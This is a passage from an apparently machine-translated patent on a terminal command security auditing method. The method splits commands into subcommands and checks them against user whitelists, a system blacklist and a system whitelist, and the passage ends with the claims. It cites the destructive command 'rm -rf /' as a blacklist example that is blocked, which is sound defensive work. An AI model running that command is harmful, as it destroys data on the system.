[0080] Specifically, the user whitelist rule set is the collection of all user whitelist rules stored in the system. The target user rule list is a subset of user whitelist rules specific to the currently operating user, selected from the user whitelist rule set. The multi-level inspection module is configured with a user whitelist inspection engine. The user whitelist inspection engine reads the user whitelist rule set from the rule cache module. Using the user identifier as the index key, the user whitelist inspection engine retrieves the user whitelist rule set to obtain the target user rule list for that operating user. The target user rule list includes multiple user whitelist rules for that operating user. Each user whitelist rule corresponds to a specific permission configuration for that user.
[0081] The user whitelist checking engine traverses the target user rule list, checking if any user whitelist rules meet the matching conditions. For each user whitelist rule, it checks whether the command in the user whitelist rule is consistent with the subcommand, whether the resource type and resource identifier specified in the user whitelist rule match the resource type and resource identifier in the resource context information, and whether the current check time has exceeded the validity period specified by the user whitelist rule.
[0082] The user whitelist checking engine employs a loop algorithm, sequentially retrieving each user whitelist rule from the target user rule list and matching the resource context information of the current subcommand against the constraints defined in the user whitelist rule. If any matching condition is not met, the user whitelist rule is abandoned, and the next rule is checked.
[0083] If the target user's rule list does not contain a user whitelist rule that meets the matching conditions, a matching failure result is generated, and the process proceeds to the next level of system blacklist checking. If all matching conditions are met, the traversal terminates, indicating that the target has a user whitelist rule that meets the matching conditions, a matching success result is generated, and subsequent checks can be skipped.
[0084] This application's embodiments utilize a three-dimensional permission matching mechanism to adapt to application scenarios where one user has multiple resources in a cloud computing environment. This solves the problem of permission isolation in complex environments, preventing users from performing high-risk operations on incorrect resources and achieving refined permission management and control. By introducing an expiration check, it supports application scenarios with temporary authorizations, reducing permission management costs and enhancing the timeliness of security control.
[0085] In response to a failed match result in the second-level check, a system blacklist check is performed on the subcommand to obtain the third-level check result. Specifically, the multi-level check module is configured with a system blacklist check engine. During the system blacklist check, the system blacklist check engine reads the system blacklist from the rule cache module, matches the subcommand against the commands in the system blacklist, and checks whether the subcommand matches any commands in the system blacklist. If the match fails, the third-level check result is a failed match result, and the process proceeds to the next level of system whitelist check. If the match succeeds, the third-level check result is a successful match result, the process does not proceed to the next level of system whitelist check, and execution is intercepted.
[0086] For example, if a user executes the command `rm -rf / ` (delete the root directory), and the user's personal whitelist does not contain any whitelist rules authorizing this command, then the system will proceed to the next level of blacklist check. The system will query the system blacklist and find that the command `rm -rf / ` is in the system blacklist. If the third-level check result is a successful match, the system will immediately determine to block the execution.
[0087] In response to a failed match in the third-level check, a system whitelist check is performed on the subcommand, resulting in a fourth-level check. Specifically, the multi-level check module is configured with a system whitelist check engine. During the system whitelist check, the engine reads the system whitelist from the rule cache module and matches the subcommand against commands in the system whitelist to check if the subcommand matches any commands in the whitelist. Regular expression parameter validation is supported. It checks not only the command name but also the complete subcommand to ensure parameters meet command requirements. If the match is successful, the fourth-level check result is a successful match, indicating that the subcommand is a globally default safe operation and is allowed to execute; if the match fails, the fourth-level check result is a failed match, indicating that the subcommand is not in the special command list, user whitelist, system blacklist, or system whitelist, and is not included in the administrator's default security scope.
[0088] Command check results include allowed execution results and blocked execution results. Based on the results of the checks performed at each level, command check results are generated, including: in response to the first-level check result being a failed check, or the third-level check result being a successful match, or the fourth-level check result being a failed match, a blocked execution result is generated; in response to the second-level check result being a successful match, or the fourth-level check result being a successful match, an allowed execution result is generated.
[0089] Specifically, the execution result of an allowed execution indicates that the subcommand is permitted to execute. The execution result of an intercepted execution indicates that the subcommand is intercepted from execution. Please refer to [link / reference]. Figure 4If the first-level check result is a failure, that is, the subcommand fails the special command check, it indicates that the subcommand belongs to the preset special command but does not meet the parameter requirements of the special command security rules, and the generated command check result is an intercepted execution result.
[0090] If the second-level check result is a successful match, meaning the subcommand is successfully matched in the user whitelist check, it indicates that there is a user whitelist rule that matches the subcommand, and the generated command check result is an allowed execution result.
[0091] If the third-level check result is a successful match, that is, the subcommand is successfully matched in the system blacklist check, it indicates that the subcommand belongs to the command in the system blacklist, and the generated command check result is the intercepted execution result.
[0092] If the fourth-level check result is a match failure, meaning the subcommand fails to match in the system whitelist check, it indicates that the subcommand is not in the special command list, user whitelist, system blacklist, or system whitelist, and is not included in the administrator's default security scope. The generated command check result is an intercepted execution result.
[0093] If the fourth-level check result is a successful match, meaning the subcommand matches successfully in the system whitelist check, it indicates that the subcommand belongs to the system whitelist, and the generated command check result is an allowed execution result. When a terminal command is split into multiple subcommands, if one subcommand is intercepted, the command check result for that terminal command is an intercepted execution result; otherwise, the command check result is an allowed execution result.
[0094] This application embodiment constructs a multi-layered, in-depth security audit system through a four-level command inspection process, which can improve security protection capabilities. By adopting a cooperation mechanism between the rule caching module and the configuration management module, it can realize multi-layered configurable dynamic rule management.
[0095] It should be noted that in the above embodiments, there is no necessarily a certain order between the steps. Those skilled in the art can understand from the description of the embodiments of this application that the above steps may have different execution orders in different embodiments, that is, they may be executed in parallel or in turn, etc.
[0096] See Figure 5 , Figure 5 This is a schematic diagram of the structure of an audit server provided in an embodiment of this application. The audit server 500 includes one or more processors 51 and a memory 52. The memory 52 is connected to one or more processors 51, for example, via a bus.
[0097] Processor 51 is configured to support the audit server in performing the corresponding functions in the methods described in the above method embodiments. Processor 51 may be a central processing unit (CPU), a network processor (NP), a hardware chip, or any combination thereof. The aforementioned hardware chip may be an application-specific integrated circuit (ASIC), a programmable logic device (PLD), or a combination thereof. The aforementioned PLD may be a complex programmable logic device (CPLD), a field-programmable gate array (FPGA), a generic array logic (GAL), or any combination thereof.
[0098] Memory 52 is used to store program code, etc. Memory may include volatile memory (VM), such as random access memory (RAM); memory may also include non-volatile memory (NVM), such as read-only memory (ROM), flash memory, hard disk drive (HDD), or solid-state drive (SSD); memory 52 may also include combinations of the above types of memory.
[0099] The memory 52 can be used to store non-volatile software programs, non-volatile computer-executable programs, and modules, such as the program instructions / modules corresponding to the terminal command security auditing method in this embodiment. The processor executes the terminal command security auditing method by running the non-volatile software programs, instructions, and modules stored in the memory.
[0100] The one or more modules are stored in the memory. When executed by the one or more processors, they perform the terminal command security auditing method in any of the above method embodiments. For example, they perform the method steps described in the above method embodiments to realize the functions of the modules described in the above device embodiments.
[0101] This application also provides a computer-readable storage medium storing a computer program, the computer program including program instructions, which, when executed by a computer device, cause the computer device to perform the method described in the foregoing embodiments.
[0102] This application provides a computer program product, including a computer program / instructions, which, when executed by a processor, implement the steps of the method described above.
[0103] Those skilled in the art will understand that all or part of the processes in the above embodiments can be implemented by a computer program instructing related hardware. The program can be stored in a computer-readable storage medium, and when executed, it can include the processes of the embodiments of the above methods. The storage medium can be a magnetic disk, optical disk, read-only memory (ROM), or random access memory (RAM), etc.
[0104] The above-disclosed embodiments are merely preferred embodiments of this application and should not be construed as limiting the scope of this application. Therefore, any equivalent variations made in accordance with the claims of this application shall still fall within the scope of this application.
Claims
1. A terminal command security auditing method, characterized in that, include: Receive terminal command execution requests sent by terminal devices; Based on the terminal command execution request, terminal command and resource context information are extracted. The resource context information is used to identify the resource object executed by the terminal command. The terminal command is parsed and broken down into at least one sub-command; Based on the resource context information, multi-level command checks are performed sequentially on each sub-command to obtain command check results; Based on the command inspection results, target response information and asynchronous analysis tasks are created synchronously. The target response information is used to characterize whether the terminal command is executed, and the asynchronous analysis task is used to perform in-depth security analysis on the terminal command. Each asynchronous analysis task is executed sequentially to perform in-depth security analysis of the terminal commands and obtain the analysis results; Audit logs are generated based on the analysis results.
2. The method according to claim 1, characterized in that, The multi-level command check includes special command check, user whitelist check, system blacklist check, and system whitelist check. The multi-level command check is performed sequentially on each sub-command based on the resource context information to obtain the command check results, including: In response to the subcommand being a preset special command type, the subcommand is checked for the special command type to obtain the first-level check result; In response to the subcommand not being a preset special command type or the first-level check result being a pass result, the user whitelist check is performed on the subcommand based on the resource context information to obtain the second-level check result; In response to the second-level check result being a match failure, the subcommand is checked against the system blacklist to obtain the third-level check result; In response to the third-level check result being a match failure, the subcommand is checked against the system whitelist to obtain the fourth-level check result; Based on the results of the checks performed at each level, generate command check results.
3. The method according to claim 2, characterized in that, The command check results include allowed execution results and blocked execution results. The generation of command check results based on the executed check results at each level includes: In response to the first-level check result being a failed check, the third-level check result being a successful match, or the fourth-level check result being a failed match, an interception execution result is generated; In response to a successful match result in the second-level check or a successful match result in the fourth-level check, an execution permission result is generated.
4. The method according to claim 2, characterized in that, The special command check performed on the subcommand to obtain the first-level check result includes: Obtain preset security rules for special commands; Based on the special command security rules, the subcommand is checked to see if it meets the parameter requirements of the special command security rules, and the first-level check result is obtained.
5. The method according to claim 4, characterized in that, The preset special command type includes at least network data transmission commands, and the subcommand is the network data transmission command. The first-level check result includes a pass result and a fail result. The first-level check result is obtained by checking whether the subcommand meets the parameter requirements of the special command security rules based on the special command security rules, including: The network data transmission command is parsed to obtain command parameters, which include network resource address and proxy parameters. In response to the network resource address conforming to the format requirements and being in a preset resource whitelist, a check pass result is generated; If the network resource address does not meet the format requirements or is not in the preset resource whitelist, a check failure result is generated.
6. The method according to claim 2, characterized in that, The resource context information includes user identifier, resource type, and resource identifier. The second-level check result includes a matching failure result and a matching success result. The second-level check result obtained by performing the user whitelist check on the subcommand based on the resource context information includes: Obtain the user whitelist rule set; Based on the user identifier, the user whitelist rule set is queried to obtain the target user rule list, which includes multiple user whitelist rules; Traverse the target user rule list and check if there are any user whitelist rules that meet the matching conditions. The matching conditions include: the command in the user whitelist rule is consistent with the subcommand, the resource type in the user whitelist rule matches the resource type in the resource context information, the resource identifier in the user whitelist rule matches the resource identifier in the resource context information, and the current check time has not exceeded the validity period of the user whitelist rule. If the target user rule list does not contain a user whitelist rule that meets the matching conditions, a matching failure result is generated. If the target user rule list contains a whitelist rule that meets the matching conditions, a matching success result is generated.
7. The method according to claim 1, characterized in that, The step of parsing the terminal command and splitting it into at least one sub-command includes: Based on a preset lexical analysis algorithm, the terminal command is scanned to identify target symbols, which are specific symbols not enclosed in quotation marks. The terminal command is segmented using the target symbol as the sub-command boundary to obtain at least one sub-command.
8. The method according to claim 1, characterized in that, The analysis results include key audit information. The sequential execution of each asynchronous analysis task to perform deep security analysis on the terminal commands yields the following analysis results: Retrieve multiple sub-commands derived from the terminal command of the asynchronous analysis task; Perform in-depth security analysis on each subcommand to obtain key audit information; Analysis results are generated based on the key audit information corresponding to all sub-commands.
9. An auditing server, characterized in that, The system includes a memory and a processor, the memory being connected to the processor, the processor being configured to execute one or more computer programs stored in the memory, and the processor, when executing the one or more computer programs, causing the audit server to implement the method as described in any one of claims 1-8.
10. A computer-readable storage medium, characterized in that, The computer-readable storage medium stores a computer program, the computer program including program instructions that, when executed by a processor, cause the processor to perform the method as described in any one of claims 1-8.
